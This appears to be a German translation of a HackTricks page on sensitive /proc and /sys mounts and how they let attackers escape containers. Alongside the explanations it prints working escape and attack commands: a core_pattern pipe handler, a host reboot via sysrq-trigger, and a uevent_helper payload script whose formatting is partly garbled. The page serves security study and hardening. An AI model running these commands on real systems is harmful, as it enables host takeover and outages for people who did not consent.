Sensitive Mounts

Lernen Sie AWS-Hacking von Null auf Held mit htARTE (HackTricks AWS Red Team Expert)!

Andere Möglichkeiten, HackTricks zu unterstützen:

Die Offenlegung von /proc und /sys ohne ordnungsgemäße Namespace-Isolierung birgt erhebliche Sicherheitsrisiken, einschließlich einer Vergrößerung der Angriffsfläche und der Offenlegung von Informationen. Diese Verzeichnisse enthalten sensible Dateien, die bei falscher Konfiguration oder Zugriff durch einen nicht autorisierten Benutzer zu einem Container-Ausbruch, einer Host-Modifikation oder zur Bereitstellung von Informationen führen können, die weitere Angriffe unterstützen. Beispielsweise kann das falsche Einhängen von -v /proc:/host/proc den AppArmor-Schutz aufgrund seiner pfadbasierten Natur umgehen und /host/proc ungeschützt lassen.

Weitere Details zu jeder potenziellen Schwachstelle finden Sie unter https://0xn3va.gitbook.io/cheat-sheets/container/escaping/sensitive-mounts.

procfs-Schwachstellen

/proc/sys

Dieses Verzeichnis ermöglicht den Zugriff auf die Änderung von Kernelvariablen, normalerweise über sysctl(2), und enthält mehrere Unterordner von Interesse:

/proc/sys/kernel/core_pattern

  • Beschrieben in core(5).

  • Ermöglicht die Definition eines Programms, das bei der Generierung von Core-Dateien mit den ersten 128 Bytes als Argumenten ausgeführt werden soll. Dies kann zu einer Codeausführung führen, wenn die Datei mit einem Pipe-Zeichen | beginnt.

  • Beispiel für Test und Ausnutzung:

[ -w /proc/sys/kernel/core_pattern ] && echo Yes # Test auf Schreibzugriff
cd /proc/sys/kernel
echo "|$overlay/shell.sh" > core_pattern # Benutzerdefinierten Handler festlegen
sleep 5 && ./crash & # Handler auslösen

/proc/sys/kernel/modprobe

  • Ausführlich beschrieben in proc(5).

  • Enthält den Pfad zum Kernelmodullader, der zum Laden von Kernelmodulen aufgerufen wird.

  • Beispiel zur Überprüfung des Zugriffs:

ls -l $(cat /proc/sys/kernel/modprobe) # Zugriff auf modprobe überprüfen

/proc/sys/vm/panic_on_oom

  • Bezugnahme auf proc(5).

  • Ein globaler Schalter, der steuert, ob der Kernel bei einem OOM-Zustand in den Panikmodus wechselt oder den OOM-Killer aufruft.

/proc/sys/fs

  • Gemäß proc(5) enthält Optionen und Informationen zum Dateisystem.

  • Schreibzugriff kann verschiedene Denial-of-Service-Angriffe gegen den Host ermöglichen.

/proc/sys/fs/binfmt_misc

  • Ermöglicht die Registrierung von Interpretern für nicht native Binärformate anhand ihrer Magiezahl.

  • Kann zu Privilegieneskalation oder Root-Shell-Zugriff führen, wenn /proc/sys/fs/binfmt_misc/register beschreibbar ist.

  • Relevantes Exploit und Erklärung:

  • Ausführliches Tutorial: Video-Link

Andere in /proc

/proc/config.gz

  • Kann die Kernelkonfiguration offenlegen, wenn CONFIG_IKCONFIG_PROC aktiviert ist.

  • Nützlich für Angreifer, um Schwachstellen im laufenden Kernel zu identifizieren.

/proc/sysrq-trigger

  • Ermöglicht das Auslösen von Sysrq-Befehlen, die potenziell sofortige Systemneustarts oder andere kritische Aktionen verursachen können.

  • Beispiel zum Neustart des Hosts:

echo b > /proc/sysrq-trigger # Startet den Host neu

/proc/kmsg

  • Zeigt Kernelringpuffermeldungen an.

  • Kann bei Kernel-Exploits, Adresslecks und der Bereitstellung sensibler Systeminformationen helfen.

/proc/kallsyms

  • Listet exportierte Kernel-Symbole und deren Adressen auf.

  • Wesentlich für die Entwicklung von Kernel-Exploits, insbesondere zur Überwindung von KASLR.

  • Adressinformationen sind mit kptr_restrict auf 1 oder 2 beschränkt.

  • Details in proc(5).

/proc/[pid]/mem

  • Kommuniziert mit dem Kernel-Speichergerät /dev/mem.

  • Historisch anfällig für Privilegieneskalationsangriffe.

  • Mehr dazu in proc(5).

/proc/kcore

  • Stellt den physischen Speicher des Systems im ELF-Core-Format dar.

  • Das Lesen kann den Speicherinhalt des Hostsystems und anderer Container preisgeben.

  • Eine große Dateigröße kann zu Leseproblemen oder Softwareabstürzen führen.

  • Detaillierte Verwendung in Dumping /proc/kcore in 2019.

/proc/kmem

  • Alternative Schnittstelle für /dev/kmem, die den virtuellen Kernel-Speicher darstellt.

  • Ermöglicht das Lesen und Schreiben, daher die direkte Modifikation des Kernel-Speichers.

/proc/mem

  • Alternative Schnittstelle für /dev/mem, die den physischen Speicher darstellt.

  • Ermöglicht das Lesen und Schreiben, die Modifikation des gesamten Speichers erfordert die Auflösung virtueller in physische Adressen.

/proc/sched_debug

  • Gibt Informationen zur Prozessplanung aus, um die PID-Namensraumschutzmaßnahmen zu umgehen.

  • Zeigt Prozessnamen, IDs und cgroup-Bezeichner an.

/proc/[pid]/mountinfo

  • Bietet Informationen über Einhängepunkte im Einhängepunkt-Namensraum des Prozesses.

  • Zeigt den Speicherort des Container-rootfs oder des Images an.

sys-Schwachstellen

/sys/kernel/uevent_helper

  • Wird zur Behandlung von Kernelgeräte-uevents verwendet.

  • Das Schreiben in /sys/kernel/uevent_helper kann beliebige Skripte bei uevent-Auslösern ausführen.

  • Beispiel für Ausnutzung: %%%bash

Erstellt eine Nutzlast

echo "#!/bin/sh" > /evil-helper echo "ps > /output" >> /evil-helper chmod +x /evil-helper

Ermittelt den Hostpfad aus dem OverlayFS-Einhängepunkt für den Container

host_path=$(sed -n 's/.\perdir=([^,]).*/\1/p' /etc/mtab)

Setzt uevent_helper auf bösartigen Helfer

echo "$host_path/evil-helper" > /sys/kernel/uevent_helper

Löst ein uevent aus

echo change > /sys/class/mem/null/uevent

Liest die Ausgabe

cat /output %%%

/sys/class/thermal

  • Steuert Temperatureinstellungen, die potenziell DoS-Angriffe oder physische Schäden verursachen können.

/sys/kernel/vmcoreinfo

  • Gibt Kernel-Adressen preis, was potenziell die KASLR gefährden kann.

/sys/kernel/security

  • Beherbergt die securityfs-Schnittstelle, die die Konfiguration von Linux Security Modules wie AppArmor ermöglicht.

  • Der Zugriff könnte einem Container ermöglichen, sein MAC-System zu deaktivieren.

/sys/firmware/efi/vars und /sys/firmware/efi/efivars

  • Bietet Schnittstellen zur Interaktion mit EFI-Variablen im NVRAM.

  • Falsche Konfiguration oder Ausnutzung kann zu unbrauchbaren Laptops oder nicht bootfähigen Host-Maschinen führen.

/sys/kernel/debug

  • debugfs bietet eine "keine Regeln" Debugging-Schnittstelle zum Kernel.

  • Geschichte von Sicherheitsproblemen aufgrund seiner uneingeschränkten Natur.

Referenzen

Lernen Sie AWS-Hacking von Null auf Held mit htARTE (HackTricks AWS Red Team Expert)!

Andere Möglichkeiten, HackTricks zu unterstützen:

Last updated